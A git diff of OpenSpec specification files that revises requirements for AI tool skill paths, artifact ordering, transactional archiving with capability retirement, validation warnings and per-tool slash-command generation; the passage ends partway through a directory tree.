a/openspec/specs/ai-tool-paths/spec.md b/openspec/specs/ai-tool-paths/spec.md index 9743f366d2..4394812570 100644 --- a/openspec/specs/ai-tool-paths/spec.md +++ b/openspec/specs/ai-tool-paths/spec.md @@ -2,7 +2,6 @@ ## Purpose Define AI tool path metadata used to generate OpenSpec skills and commands in tool-specific directories. - ## Requirements ### Requirement: AIToolOption skillsDir field @@ -38,6 +37,19 @@ The `AI_TOOLS` array SHALL include `skillsDir` for tools that support the Agent - **WHEN** looking up the `windsurf` tool - **THEN** `skillsDir` SHALL be `.windsurf` +#### Scenario: Kimi Code paths defined + +- **WHEN** looking up the `kimi` tool +- **THEN** `skillsDir` SHALL be `.kimi-code` +- **AND** OpenSpec-managed skills remaining under the legacy `.kimi/skills` directory SHALL be migrated to `.kimi-code/skills` during init and update, preserving user files + +#### Scenario: Hermes Agent paths defined + +- **WHEN** looking up the `hermes` tool +- **THEN** `skillsDir` SHALL be `.hermes` +- **AND** `setupNote` SHALL explain that project `.hermes/skills` must be added to `skills.external_dirs` in `~/.hermes/config.yaml` +- **AND** `openspec init` and `openspec update` SHALL display the note whenever `hermes` is configured + #### Scenario: Tools without skillsDir - **WHEN** a tool has no `skillsDir` defined @@ -57,4 +69,3 @@ The system SHALL handle paths correctly across operating systems. - **WHEN** constructing skill paths on macOS or Linux - **THEN** the system SHALL use `path.join()` for consistency - diff --git a/openspec/specs/artifact-graph/spec.md b/openspec/specs/artifact-graph/spec.md index 4f6fd82b5b..d9234baa23 100644 --- a/openspec/specs/artifact-graph/spec.md +++ b/openspec/specs/artifact-graph/spec.md @@ -2,7 +2,6 @@ ## Purpose Define the artifact graph model, dependency validation, and completion-state logic used by schema-driven workflows. - ## Requirements ### Requirement: Schema Loading The system SHALL load artifact graph definitions from YAML schema files within schema directories. @@ -44,7 +43,12 @@ The system SHALL compute a valid topological build order for artifacts. #### Scenario: Independent artifacts - **WHEN** artifacts have no dependencies -- **THEN** getBuildOrder() returns them in a stable order +- **THEN** getBuildOrder() returns them in the order the schema declares them + +#### Scenario: Simultaneously ready artifacts ordered by declaration +- **WHEN** artifacts become ready at the same time (spec-driven's specs and design both require only proposal) +- **THEN** getBuildOrder() returns them in the order the schema's artifacts list declares them, not alphabetically +- **AND** an artifact already waiting to be built is not placed ahead of one the schema declares before it ### Requirement: State Detection The system SHALL detect artifact completion state by scanning the filesystem. @@ -84,6 +88,10 @@ The system SHALL identify which artifacts are ready to be created based on depen - **WHEN** an artifact has uncompleted dependencies - **THEN** getNextArtifacts() does not include that artifact +#### Scenario: Ready artifacts ordered by declaration +- **WHEN** several artifacts are ready at once +- **THEN** getNextArtifacts() returns them in the order the schema declares them, so the first entry is the artifact the schema recommends writing next + ### Requirement: Completion Check The system SHALL determine when all artifacts in a graph are complete. @@ -109,6 +117,7 @@ The system SHALL identify which artifacts are blocked and return all their unmet #### Scenario: Artifact blocked by all dependencies - **WHEN** artifact C requires A and B, and neither is complete - **THEN** getBlocked() returns `{ C: ['A', 'B'] }` +- **AND** unmet dependencies are listed in the order the schema declares them ### Requirement: Schema Directory Structure The system SHALL support self-contained schema directories with co-located templates. diff --git a/openspec/specs/cli-archive/spec.md b/openspec/specs/cli-archive/spec.md index 6f01f08c71..6d13b79721 100644 --- a/openspec/specs/cli-archive/spec.md +++ b/openspec/specs/cli-archive/spec.md @@ -27,6 +27,14 @@ The command SHALL support both interactive and direct change selection methods. - **THEN** use that change directly - **AND** validate it exists +#### Scenario: No change name and no answer available + +- **WHEN** no change-name is provided and the selection prompt cannot be answered +- **THEN** report that a change name is required +- **AND** state that no answer could be read from stdin +- **AND** suggest a rerun naming the change and passing `--yes` +- **AND** exit with a non-zero status code rather than reporting success for a run that archived nothing + ### Requirement: Task Completion Check The command SHALL verify task completion status before archiving to prevent premature archival. @@ -52,10 +60,13 @@ The archive operation SHALL follow a structured process to safely move changes t - **WHEN** archiving a change - **THEN** execute these steps: 1. Create archive/ directory if it doesn't exist - 2. Generate target name as `YYYY-MM-DD-[change-name]` using current date - 3. Check if target directory already exists - 4. Update main specs from the change's future state specs (see Spec Update Process below) - 5. Move the entire change directory to the archive location + 2. Generate target name as `YYYY-MM-DD-[change-name]` using current date, keeping the name as-is when it already starts with a `YYYY-MM-DD-` prefix + 3. Claim the target and verify that it does not already exist + 4. Prepare and validate spec updates from the active change's delta specs + 5. Apply the spec updates as a rollback-capable transaction + 6. Move the entire change directory to the archive location + 7. If a spec mutation or final move fails before a complete archive is secured, restore the spec transaction and leave or return the change at its active path + 8. If a verified fallback copy completes but staged-source cleanup fails, retain the complete archive and committed spec state for recovery instead of risking the only complete copy #### Scenario: Archive already exists @@ -70,7 +81,7 @@ The archive operation SHALL follow a structured process to safely move changes t ### Requirement: Spec Update Process -Before moving the change to archive, the command SHALL apply delta changes to main specs to reflect the deployed reality. +After claiming the archive destination, the command SHALL apply delta changes to main specs to reflect the deployed reality, then move the change to its archive destination. It SHALL restore the spec transaction when a mutation or final move fails before a complete archive is secured. Once a verified fallback archive is complete, a staged-source cleanup failure SHALL retain that archive and committed spec state for recovery. #### Scenario: Applying delta changes @@ -90,6 +101,108 @@ Before moving the change to archive, the command SHALL apply delta changes to ma - **THEN** abort with error message showing the conflict - **AND** suggest manual resolution +#### Scenario: Duplicate requirement already exists in the main spec + +- **WHEN** a main spec contains two canonical requirement headers with the same name +- **THEN** reject the structurally ambiguous main spec before applying any delta +- **AND** preserve the main spec and active change unchanged + +#### Scenario: New main spec inherits the delta's Purpose + +- **WHEN** a delta creates a main spec that does not exist yet +- **AND** the delta spec has a line-initial `## Purpose` header that is not inside a fenced code block or an HTML comment +- **AND** the section body, ignoring fenced blocks and HTML comments, is not empty +- **THEN** write the section body into the new main spec, trimmed but otherwise verbatim, fenced code blocks included +- **AND** the section body runs to the next `## ` heading outside a fenced block + +#### Scenario: New main spec without an authored Purpose + +- **WHEN** a delta creates a main spec that does not exist yet +- **AND** the delta spec has no such `## Purpose` header, or that section's body is empty once fenced blocks and HTML comments are ignored +- **THEN** write the TBD placeholder Purpose naming the change to update after archive + +#### Scenario: Delta Purpose that would leave the new main spec unreadable + +- **WHEN** a delta creates a main spec that does not exist yet +- **AND** carrying its `## Purpose` body over would leave a spec that reads differently to different readers - a heading or requirement header that truncates a section, an unterminated code fence that swallows one, or any HTML comment, which the section scan skips but the file keeps +- **THEN** write the TBD placeholder Purpose instead and warn that the delta Purpose was ignored +- **AND** complete the archive rather than aborting it + +#### Scenario: Carried Purpose shorter than the strict-mode minimum + +- **WHEN** the Purpose parsed back out of the new main spec is shorter than the minimum Purpose length strict validation enforces +- **THEN** carry it over unchanged and warn that `openspec validate --strict` reports it as too brief + +#### Scenario: Delta Purpose for a capability that already has a main spec + +- **WHEN** a delta carries a `## Purpose` and the target main spec already exists +- **THEN** leave the existing Purpose untouched +- **AND** warn that the delta Purpose was ignored, naming the spec file to edit directly, but only when that spec has a Purpose of its own and it differs from the delta's + +### Requirement: Capability Retirement + +A delta whose REMOVED entries cover every requirement a capability has SHALL retire that capability instead of writing a main spec with no requirements, which can never pass validation. + +#### Scenario: Deciding that a rebuilt spec cannot be written + +- **WHEN** applying a delta leaves the rebuilt spec with no requirement blocks, and every other nonblank line in the whole file is accounted for as the title, Purpose, Requirements header, or a canonical requirement's statement, scenarios, or fenced examples +- **THEN** put that rebuilt spec to the spec validator +- **AND** treat it as retirable only when its sole validation error is that the spec has no requirements +- **AND** otherwise write or reject it exactly as any other rebuilt spec, so a spec the validator still accepts, one broken in some further way, and one still holding a `###` heading are all left alone + +#### Scenario: Validation was skipped + +- **WHEN** the archive runs with validation disabled +- **THEN** retire nothing, because no verdict was produced to justify a deletion +- **AND** write the rebuilt spec exactly as an archive without this behavior would + +#### Scenario: Retirement is not declared + +- **WHEN** a rebuilt spec is retirable but the change does not declare `retire_capabilities: true` in its metadata, or declares it in metadata that cannot be honored +- **THEN** write the spec as any other, so the archive aborts on it exactly as it did before this behavior existed +- **AND** name the marker as the fix in that abort, and say when a marker that is present cannot be honored +- **AND** say nothing about the marker when retiring would not have made the spec writable anyway + +#### Scenario: Delta removes the capability's last requirement + +- **WHEN** a retirable rebuilt spec belongs to a capability whose main spec exists +- **AND** at least one requirement was actually removed by this run +- **AND** the change declares `retire_capabilities: true` +- **THEN** delete the capability's `spec.md` instead of writing it +- **AND** refuse to delete when the target resolves outside the real specs root +- **AND** delete any in-root directory the deletion leaves empty, and never the specs root itself +- **AND** count every operation the delta applied in the archive totals +- **AND** record the retirement in the archive warnings, naming what the deleted file held and giving a pasteable Git recovery command only when the spec lived in the caller's checkout + +#### Scenario: Retirement is deferred until every spec is written + +- **WHEN** an archive both retires one capability and updates another +- **THEN** settle the archive destination before touching any spec, so a name collision cannot strand a retirement +- **AND** perform the deletion only after every spec write has succeeded +- **AND** report a destination claimed while the merge ran as the same collision, rather than as a raw filesystem error + +#### Scenario: Capability directory holds other files + +- **WHEN** retiring a capability whose directory still holds other files after `spec.md` is deleted +- **THEN** leave that directory in place + +#### Scenario: Removal was already synced + +- **WHEN** a retirable rebuilt spec removed nothing this run and its main spec exists +- **THEN** leave the file untouched +- **AND** abort the archive with the validation error, as for any other unwritable spec, unless validation was skipped + +#### Scenario: Content the merge cannot account for + +- **WHEN** the spec holds any non-blank line the merge cannot name - anywhere in the file, including above the requirements section and inside a requirement block, where content the parser did not read as a new header rides along +- **THEN** refuse the retirement, because deleting the file would take that content with it +- **AND** say which lines stood in the way when the change declared the marker, rather than aborting on the bare validation error + +#### Scenario: Main spec is already gone + +- **WHEN** a REMOVED-only delta targets a capability that has no main spec, and the change declares `retire_capabilities: true` +- **THEN** complete the archive without creating or retiring one + ### Requirement: Confirmation Behavior The spec update confirmation SHALL provide clear visibility into changes before they are applied. @@ -138,6 +251,21 @@ The command SHALL handle various error conditions gracefully. - Change not found - Archive target already exists - File system permissions issues + - A confirmation prompt that cannot be answered because no answer can be read from stdin + +#### Scenario: Confirmation cannot be answered + +- **WHEN** a confirmation prompt fails because no answer can be read from stdin +- **THEN** report which decision needed an answer +- **AND** suggest a rerun that adds `--yes` and reproduces the flags the caller already passed +- **AND** make no filesystem change +- **AND** exit with a non-zero status code + +#### Scenario: Cancellation is not treated as a missing answer + +- **WHEN** the user cancels a prompt with Ctrl-C +- **THEN** treat it as a cancellation rather than an unanswerable prompt +- **AND** preserve the existing cancellation behavior ### Requirement: Skip Specs Option @@ -193,6 +321,15 @@ The archive command SHALL validate changes before applying them to ensure data i - **AND** only proceed if validation passes - **AND** show validation errors if it fails +#### Scenario: Proposal warnings stay proposal-level + +- **WHEN** archiving a change +- **THEN** the non-blocking proposal warnings SHALL NOT repeat requirement-level + issues reached through the delta specs +- **AND** a requirement removed by a `## REMOVED Requirements` delta SHALL NOT be + reported as missing a scenario +- **AND** proposal-level issues SHALL still be reported + #### Scenario: Force archive without validation - **WHEN** executing `openspec archive change-name --no-validate` @@ -203,8 +340,8 @@ The archive command SHALL validate changes before applying them to ensure data i **Interactive selection**: Reduces typing and helps users see available changes **Task checking**: Prevents accidental archiving of incomplete work -**Date prefixing**: Maintains chronological order and prevents naming conflicts +**Date prefixing**: Maintains chronological order and prevents naming conflicts; a name that already carries a date prefix keeps it, so archived names never stack dates **No overwrite**: Preserves historical archives and prevents data loss -**Spec updates before archiving**: Specs in the main directory represent current reality; when a change is deployed and archived, its future state specs become the new reality and must replace the main specs +**Claim-first transaction**: The destination is claimed before main specs are mutated, spec changes are rollback-protected, and the active change is moved only after the spec transaction succeeds **Confirmation for spec updates**: Provides visibility into what will change, prevents accidental overwrites, and ensures users understand the impact before specs are modified -**--yes flag for automation**: Allows CI/CD pipelines to archive without interactive prompts while maintaining safety by default for manual use \ No newline at end of file +**--yes flag for automation**: Allows CI/CD pipelines to archive without interactive prompts while maintaining safety by default for manual use diff --git a/openspec/specs/cli-artifact-workflow/spec.md b/openspec/specs/cli-artifact-workflow/spec.md index 5c1c3ce524..2b82647027 100644 --- a/openspec/specs/cli-artifact-workflow/spec.md +++ b/openspec/specs/cli-artifact-workflow/spec.md @@ -2,7 +2,6 @@ ## Purpose Define artifact workflow CLI behavior (`status`, `instructions`, `templates`, and setup flows) for scaffolded and active changes. - ## Requirements ### Requirement: Status Command @@ -26,15 +25,32 @@ The system SHALL display artifact completion status for a change, including scaf #### Scenario: Status JSON output - **WHEN** user runs `openspec status --change <id> --json` -- **THEN** the system outputs JSON with changeName, schemaName, isComplete, and artifacts array +- **THEN** the system outputs JSON with changeName, schemaName, isPlanningComplete, isComplete, and artifacts array +- **AND** `isPlanningComplete` is true only when every non-skipped planning artifact exists +- **AND** a skipped artifact counts as satisfied without being created +- **AND** `isComplete` remains a compatibility alias with the same value #### Scenario: Status JSON includes apply requirements - **WHEN** user runs `openspec status --change <id> --json` - **THEN** the system outputs JSON with: - - `changeName`, `schemaName`, `isComplete`, `artifacts` array + - `changeName`, `schemaName`, `isPlanningComplete`, `isComplete`, `artifacts` array - `applyRequires`: array of artifact IDs needed for apply phase +#### Scenario: Status JSON exposes each artifact's dependency edges + +- **WHEN** user runs `openspec status --change <id> --json` +- **THEN** every entry in the `artifacts` array includes `requires`: the array of artifact IDs it directly depends on +- **AND** `requires` is present regardless of the artifact's status, so a `done` artifact still reports its dependencies (letting agents compute the transitive required set from status alone) + +#### Scenario: Status lists artifacts in dependency order, declaration order breaking ties + +- **WHEN** user runs `openspec status --change <id>` (text or `--json`) +- **THEN** artifacts appear in dependency order, so a dependency is never listed after something that requires it +- **AND** artifacts that become ready at the same time keep the order the schema declares them, rather than being reordered alphabetically +- **AND** the first `ready` entry is therefore the artifact to write next +- **AND** a blocked artifact's `missingDeps` uses that same order + #### Scenario: Status on scaffolded change - **WHEN** user runs `openspec status --change <id>` on a change with no artifacts @@ -62,6 +78,7 @@ The workflow SHALL use `openspec status` output to determine what can be created - **WHEN** a user needs to know which artifact to create next - **THEN** `openspec status --change <id>` identifies ready artifacts with `[ ]` +- **AND** the first `[ ]` entry is the schema's recommended next artifact - **AND** no dedicated "next command" is required to continue the workflow ### Requirement: Instructions Command @@ -275,3 +292,41 @@ The setup command SHALL display clear output about what was generated. - **WHEN** command generation is skipped due to missing adapter - **THEN** output includes message: "Command generation skipped - no adapter for <tool>" + +### Requirement: Status JSON provides planning context +The status command SHALL provide machine-readable planning context for changes. + +#### Scenario: Reporting next steps +- **WHEN** a user runs `openspec status --change <id> --json` +- **THEN** the output SHALL include next step guidance for agents +- **AND** the guidance SHALL use plain action language + +### Requirement: Status JSON action context +The status command SHALL expose action context that lets agents act without hardcoded filesystem assumptions. + +#### Scenario: Repo-local action context +- **GIVEN** the change is repo-local +- **WHEN** a user runs `openspec status --change <id> --json` +- **THEN** status JSON SHALL preserve existing artifact status behavior +- **AND** it SHALL report a repo-local planning home for agents that use action context + +### Requirement: Instructions use resolved planning paths +Artifact and apply instructions SHALL use resolved planning paths rather than hardcoded repo-local change paths. + +#### Scenario: Repo-local artifact instructions +- **GIVEN** the change is repo-local +- **WHEN** a user runs `openspec instructions <artifact> --change <id> --json` +- **THEN** instruction output SHALL preserve existing repo-local paths + +### Requirement: Workflow skills use CLI artifact context +Generated workflow skills SHALL use OpenSpec CLI output as the source of truth for artifact locations. + +#### Scenario: Skills inspect status before artifact work +- **WHEN** a generated workflow skill needs to inspect or create artifacts for a change +- **THEN** it SHALL instruct the agent to run `openspec status --change <id> --json` +- **AND** it SHALL use returned planning context and artifact paths rather than assuming a repo-local change path + +#### Scenario: Skills use instructions before writing artifacts +- **WHEN** a generated workflow skill is about to create or update an artifact +- **THEN** it SHALL instruct the agent to run `openspec instructions <artifact> --change <id> --json` +- **AND** it SHALL write to the resolved artifact path returned by the command diff --git a/openspec/specs/cli-feedback/spec.md b/openspec/specs/cli-feedback/spec.md index 188142b129..b3a4b022e0 100644 --- a/openspec/specs/cli-feedback/spec.md +++ b/openspec/specs/cli-feedback/spec.md @@ -16,6 +16,15 @@ The system SHALL provide an `openspec feedback` command that creates a GitHub Is - **AND** the issue has the `feedback` label - **AND** the system displays the created issue URL +#### Scenario: Repository does not define the feedback label + +- **WHEN** user executes `openspec feedback "Great tool!"` +- **AND** the repository does not define the `feedback` label, so `gh` refuses to create the issue +- **THEN** the system retries `gh issue create` without the label +- **AND** the issue is created in the openspec repository without the `feedback` label +- **AND** the system displays the created issue URL +- **AND** the system notes that the label was not applied + #### Scenario: Safe command execution - **WHEN** submitting feedback via `gh` CLI @@ -127,9 +136,10 @@ The system SHALL handle feedback submission errors gracefully. #### Scenario: gh CLI execution failure -- **WHEN** `gh issue create` command fails +- **WHEN** `gh issue create` command fails for any reason other than the repository not defining the `feedback` label - **THEN** the system displays the error output from `gh` CLI - **AND** exits with the same exit code as `gh` +- **AND** does not retry the submission #### Scenario: Network failure diff --git a/openspec/specs/cli-init/spec.md b/openspec/specs/cli-init/spec.md index a1a70e59be..d35b2ad390 100644 --- a/openspec/specs/cli-init/spec.md +++ b/openspec/specs/cli-init/spec.md @@ -52,7 +52,7 @@ The command SHALL configure AI coding assistants with skills and slash commands - **WHEN** user selects tools and confirms - **THEN** generate skills in `.<tool>/skills/` directory for each selected tool -- **AND** generate slash commands in `.<tool>/commands/opsx/` directory for each selected tool +- **AND** generate slash commands for each selected tool with a command adapter, at that adapter's own path (for example `.claude/commands/opsx/<id>.md` or `.cursor/commands/opsx-<id>.md`) - **AND** create `openspec/config.yaml` with default schema setting ### Requirement: Interactive Mode @@ -85,10 +85,9 @@ The command SHALL provide clear, actionable next steps upon successful initializ - "Created: <tools>" for newly configured tools - "Refreshed: <tools>" for already-configured tools that were updated - Count of skills and commands generated -- **AND** display getting started section with: - - `/opsx:new` - Start a new change - - `/opsx:continue` - Create the next artifact - - `/opsx:apply` - Implement tasks +- **AND** display a getting started section naming an installed onboarding workflow (for example `/opsx:propose` - Start a change) +- **AND** spell each command the way the configured tool registers it: `/opsx-<id>` for tools whose command files are named `opsx-<id>`, and the tool's skill invocation (`$openspec-<skill>` for Codex, `/skill:openspec-<skill>` for Kimi Code, `/openspec-<skill>` otherwise) for tools that receive no command files +- **AND** print one labeled line per distinct form when the selected tools disagree - **AND** display links to documentation and feedback #### Scenario: Displaying restart instruction @@ -200,11 +199,11 @@ The command SHALL generate Agent Skills for selected AI tools. ### Requirement: Slash Command Generation -The command SHALL generate opsx slash commands for selected AI tools. +The command SHALL generate opsx slash commands only for selected tools that have a registered command adapter, while keeping adapterless tools valid for skill generation. -#### Scenario: Generating slash commands for a tool +#### Scenario: Generating slash commands for a tool with a registered adapter -- **WHEN** a tool is selected during initialization +- **WHEN** a tool with a registered command adapter is selected during initialization - **THEN** create 9 slash command files using the tool's command adapter: - `/opsx:explore` - `/opsx:new` @@ -218,6 +217,20 @@ The command SHALL generate opsx slash commands for selected AI tools. - **AND** use tool-specific path conventions (e.g., `.claude/commands/opsx/` for Claude) - **AND** include tool-specific frontmatter format +#### Scenario: Selected tool has no command adapter + +- **GIVEN** a selected tool has `skillsDir` configured but no registered command adapter +- **WHEN** initialization includes command generation +- **THEN** skill generation for that tool SHALL still remain valid +- **AND** command-file generation SHALL be skipped for that tool +- **AND** the command output SHALL include `Commands skipped for: <tool-id> (no adapter)` + +#### Scenario: Kimi Code skips command-file generation + +- **WHEN** the user selects Kimi Code during initialization +- **THEN** OpenSpec SHALL treat it as a supported tool with `skillsDir: '.kimi-code'` +- **AND** command-file generation SHALL be skipped because no Kimi adapter is registered + ### Requirement: Config File Generation The command SHALL create an OpenSpec config file with schema settings. diff --git a/openspec/specs/cli-update/spec.md b/openspec/specs/cli-update/spec.md index 3de91356ee..676bf9d603 100644 --- a/openspec/specs/cli-update/spec.md +++ b/openspec/specs/cli-update/spec.md @@ -99,11 +99,17 @@ The update command SHALL refresh existing slash command files for configured too - **AND** skip creating missing files during update #### Scenario: Updating slash commands for OpenCode -- **WHEN** `.opencode/command/` contains `openspec-proposal.md`, `openspec-apply.md`, and `openspec-archive.md` +- **WHEN** `.opencode/commands/` contains OpenSpec-managed `opsx-*.md` command files for the configured profile (for example `opsx-propose.md`, `opsx-apply.md`, and `opsx-archive.md`) - **THEN** refresh each file using shared templates +- **AND** transform command references to hyphen form (for example `/opsx-propose`), as for every tool whose command files are named `opsx-<id>` - **AND** ensure templates include instructions for the relevant workflow stage - **AND** ensure the archive command includes `$ARGUMENTS` placeholder in frontmatter for accepting change ID arguments +#### Scenario: Legacy OpenCode command path cleanup +- **WHEN** a project still has command files under the legacy singular path `.opencode/command/` (for example `opsx-*.md` or `openspec-*.md`) +- **THEN** `openspec init` or legacy cleanup SHALL remove those files and generate replacements under `.opencode/commands/` +- **AND** `openspec update` SHALL NOT refresh files that remain only under `.opencode/command/` + #### Scenario: Updating slash commands for Windsurf - **WHEN** `.windsurf/workflows/` contains `openspec-proposal.md`, `openspec-apply.md`, and `openspec-archive.md` - **THEN** refresh each file using shared templates wrapped in OpenSpec markers @@ -165,38 +171,3 @@ The archive slash command template SHALL support optional change ID arguments fo - **THEN** include the `$ARGUMENTS` placeholder in the frontmatter - **AND** wrap it in a clear structure like `<ChangeId>\n $ARGUMENTS\n</ChangeId>` to indicate the expected argument - **AND** include validation steps in the template body to check if the change ID is valid - -## Edge Cases - -### Error Handling - -The command SHALL handle edge cases gracefully. - -#### Scenario: File permission errors - -- **WHEN** file write fails -- **THEN** let the error bubble up naturally with file path - -#### Scenario: Missing AI tool files - -- **WHEN** an AI tool configuration file doesn't exist -- **THEN** skip updating that file -- **AND** do not create it - -#### Scenario: Custom directory names - -- **WHEN** considering custom directory names -- **THEN** not supported in this change -- **AND** the default directory name `openspec` SHALL be used - -## Success Criteria - -Users SHALL be able to: -- Update OpenSpec instructions with a single command -- Get the latest AI agent instructions -- See clear confirmation of the update - -The update process SHALL be: -- Simple and fast (no version checking) -- Predictable (same result every time) -- Self-contained (no network required) diff --git a/openspec/specs/cli-validate/spec.md b/openspec/specs/cli-validate/spec.md index 61afc7953b..3f04425af0 100644 --- a/openspec/specs/cli-validate/spec.md +++ b/openspec/specs/cli-validate/spec.md @@ -11,7 +11,7 @@ Validation output SHALL include specific guidance to fix each error, including e - **WHEN** validating a change with zero parsed deltas - **THEN** show error "No deltas found" with guidance: - Explain that change specs must include `## ADDED Requirements`, `## MODIFIED Requirements`, `## REMOVED Requirements`, or `## RENAMED Requirements` - - Remind authors that files must live under `openspec/changes/{id}/specs/<capability>/spec.md` + - Remind authors that files must live under `openspec/changes/{id}/specs/<capability-path>/spec.md` - Include an explicit note: "Spec delta files cannot start with titles before the operation headers" - Suggest running `openspec change show {id} --json --deltas-only` for debugging @@ -43,6 +43,34 @@ The validator SHALL recognize bulleted lines that look like scenarios (e.g., lin - **AND** ... ``` +### Requirement: Normative keyword guidance SHALL not require English + +The validation report SHALL include a warning for a non-empty requirement body without the literal English keywords `SHALL` or `MUST`. Normal validation SHALL remain valid when that warning is the only issue, while strict validation SHALL remain invalid because strict mode treats warnings as failures. + +A requirement with no body content before its scenarios SHALL remain an error. + +#### Scenario: Non-English main spec + +- **WHEN** a main spec has a non-empty requirement body written without the English keywords `SHALL` or `MUST` +- **THEN** the validation report includes an RFC 2119 guidance warning +- **AND** normal validation succeeds + +#### Scenario: Non-English change delta + +- **WHEN** an ADDED or MODIFIED requirement has a non-empty body written without the English keywords `SHALL` or `MUST` +- **THEN** the validation report includes an RFC 2119 guidance warning +- **AND** normal validation succeeds + +#### Scenario: Strict validation preserves keyword enforcement + +- **WHEN** the same main spec or change is validated in strict mode +- **THEN** the warning causes validation to fail + +#### Scenario: Requirement body is missing + +- **WHEN** a requirement has no body content before its scenarios +- **THEN** validation reports an error + ### Requirement: All issues SHALL include file paths and structured locations Error, warning, and info messages SHALL include: - Source file path (`openspec/changes/{id}/proposal.md`, `.../specs/{cap}/spec.md`) @@ -62,6 +90,35 @@ The CLI SHALL append a Next steps footer when the item is invalid and not using - **WHEN** a change validation fails - **THEN** print "Next steps" with 2-3 targeted bullets and suggest `openspec change show <id> --json --deltas-only` +### Requirement: Change validation SHALL report scenarios a MODIFIED block would drop + +The `validate` command SHALL compare every `MODIFIED` requirement in a change against the main specs and report, as an error naming the delta file, each scenario the main spec still has that the `MODIFIED` block omits. A `MODIFIED` requirement replaces the whole requirement block, so archive refuses to apply one that drops a scenario; this is the same check, run without writing anything. + +The comparison SHALL match archive's operation order, comparing a `MODIFIED` that names the new header of a rename against the renamed requirement's scenarios. + +The check SHALL be silent when the main spec file or the requirement header is absent, because a `MODIFIED` written against a base that has not landed yet is a separate condition that archive gates. A main spec that exists but cannot be read SHALL be reported instead, since archive fails on it too. + +Validation run inside `openspec archive` SHALL NOT report these issues, because archive enforces the same check when it applies the deltas. + +#### Scenario: MODIFIED omits an existing scenario + +- **GIVEN** the main spec's requirement has scenarios "A" and "B" +- **WHEN** a change MODIFIES that requirement with only scenario "A" and `openspec validate <change>` runs +- **THEN** report an error naming the delta file and scenario "B" +- **AND** exit with code 1 + +#### Scenario: MODIFIED names the new header of a rename + +- **GIVEN** the main spec has requirement "A" with scenarios "S1" and "S2" +- **WHEN** a change renames "A" to "B" and MODIFIES "B" with only scenario "S1" +- **THEN** report an error naming scenario "S2" + +#### Scenario: MODIFIED header is not in the main spec + +- **GIVEN** a change MODIFIES a requirement header the main spec does not contain +- **WHEN** `openspec validate <change>` runs +- **THEN** do not report a dropped-scenario error for that requirement + ### Requirement: Top-level validate command The CLI SHALL provide a top-level `validate` command for validating changes and specs with flexible selection options. @@ -106,7 +163,7 @@ The validate command SHALL support flags for bulk validation (--all) and filtere - **AND** exclude the `openspec/changes/archive/` directory - **WHEN** validating with `--specs` -- **THEN** include all specs that have a `spec.md` under `openspec/specs/<id>/spec.md` +- **THEN** include all specs that have a `spec.md` under `openspec/specs/<capability-path>/spec.md` #### Scenario: Validate all changes @@ -216,4 +273,3 @@ The markdown parser SHALL correctly identify sections regardless of line ending - **AND** the document contains `## Why` and `## What Changes` - **WHEN** running `openspec validate <change-id>` - **THEN** validation SHALL recognize the sections and NOT raise parsing errors - diff --git a/openspec/specs/command-generation/spec.md b/openspec/specs/command-generation/spec.md index ea598a75ae..cb270ae914 100644 --- a/openspec/specs/command-generation/spec.md +++ b/openspec/specs/command-generation/spec.md @@ -49,6 +49,12 @@ The system SHALL define a `ToolCommandAdapter` interface for per-tool formatting - **THEN** the adapter SHALL output YAML frontmatter with `name`, `description`, `category`, `tags` fields - **AND** file path SHALL follow pattern `.windsurf/workflows/opsx-<id>.md` +#### Scenario: Trae adapter formatting + +- **WHEN** formatting a command for Trae +- **THEN** the adapter SHALL output YAML frontmatter with `name` and `description` fields +- **AND** file path SHALL follow pattern `.trae/commands/opsx-<id>.md` + ### Requirement: Command generator function The system SHALL provide a `generateCommand` function that combines content with adapter. @@ -60,6 +66,21 @@ The system SHALL provide a `generateCommand` function that combines content with - `path`: the file path from `adapter.getFilePath(content.id)` - `fileContent`: the formatted content from `adapter.formatFile(content)` +#### Scenario: Command references match the name the tool registers + +- **WHEN** the adapter's file path names the command by filename (`opsx-<id>`) +- **THEN** `generateCommand` SHALL rewrite `/opsx:<id>` references in the body to `/opsx-<id>` before formatting +- **WHEN** the adapter's file path does not name the command by filename (for example it namespaces the command under an `opsx/` directory) +- **THEN** the body's `/opsx:<id>` references SHALL be left unchanged + +#### Scenario: Command references use the tool's own invocation prefix + +- **WHEN** an adapter declares an `invocationPrefix` because its files are not invoked with a slash (Amazon Q loads `.amazonq/prompts/opsx-<id>.md` into a prompt library invoked with `@`) +- **THEN** `generateCommand` SHALL rewrite `/opsx:<id>` references in the body to `<prefix>opsx-<id>` — for Amazon Q, `@opsx-<id>` — replacing the leading slash rather than adding to it +- **AND** generated skills and the `init`/`update` "Getting started" hint SHALL use the same form +- **WHEN** an adapter declares no `invocationPrefix` +- **THEN** the prefix SHALL default to `/` + #### Scenario: Generate multiple commands - **WHEN** generating all opsx commands for a tool @@ -93,5 +114,4 @@ The body content of commands SHALL be shared across all tools. - **WHEN** generating the 'explore' command for Claude and Cursor - **THEN** both SHALL use the same `body` content -- **AND** only the frontmatter and file path SHALL differ - +- **AND** only the frontmatter, the file path, and the spelling of `/opsx:*` command references SHALL differ diff --git a/openspec/specs/instruction-loader/spec.md b/openspec/specs/instruction-loader/spec.md index d2a473ec38..d437d85489 100644 --- a/openspec/specs/instruction-loader/spec.md +++ b/openspec/specs/instruction-loader/spec.md @@ -44,6 +44,7 @@ The system SHALL enrich templates with change-specific context. #### Scenario: Include unlocked artifacts - **WHEN** instructions are generated - **THEN** the output includes which artifacts become available after this one +- **AND** they are listed in the order the schema declares them, matching the order `openspec status` recommends them #### Scenario: Root artifact indicator - **WHEN** an artifact has no dependencies diff --git a/openspec/specs/legacy-cleanup/spec.md b/openspec/specs/legacy-cleanup/spec.md index a187769521..e72a1803d6 100644 --- a/openspec/specs/legacy-cleanup/spec.md +++ b/openspec/specs/legacy-cleanup/spec.md @@ -144,7 +144,7 @@ The system SHALL report what was cleaned up. ``` Cleaned up legacy files: ✓ Removed OpenSpec markers from CLAUDE.md - ✓ Removed .claude/commands/openspec/ (replaced by /opsx:*) + ✓ Removed .claude/commands/openspec/ (replaced by OpenSpec skills and commands) ✓ Removed openspec/AGENTS.md (no longer needed) ``` - **AND IF** `openspec/project.md` exists diff --git a/openspec/specs/openspec-conventions/spec.md b/openspec/specs/openspec-conventions/spec.md index 700fa6a22b..54fc0e0f3b 100644 --- a/openspec/specs/openspec-conventions/spec.md +++ b/openspec/specs/openspec-conventions/spec.md @@ -47,7 +47,7 @@ openspec/ ├── project.md # Project-specific context ├── AGENTS.md # AI assistant instructions ├── specs/ # Current deployed capabilities -│ └── [capability]/ # Single, focused capability +│ └── <capability-path>/ # One or more directories for a focused capability │ ├── spec.md # WHAT and WHY │ 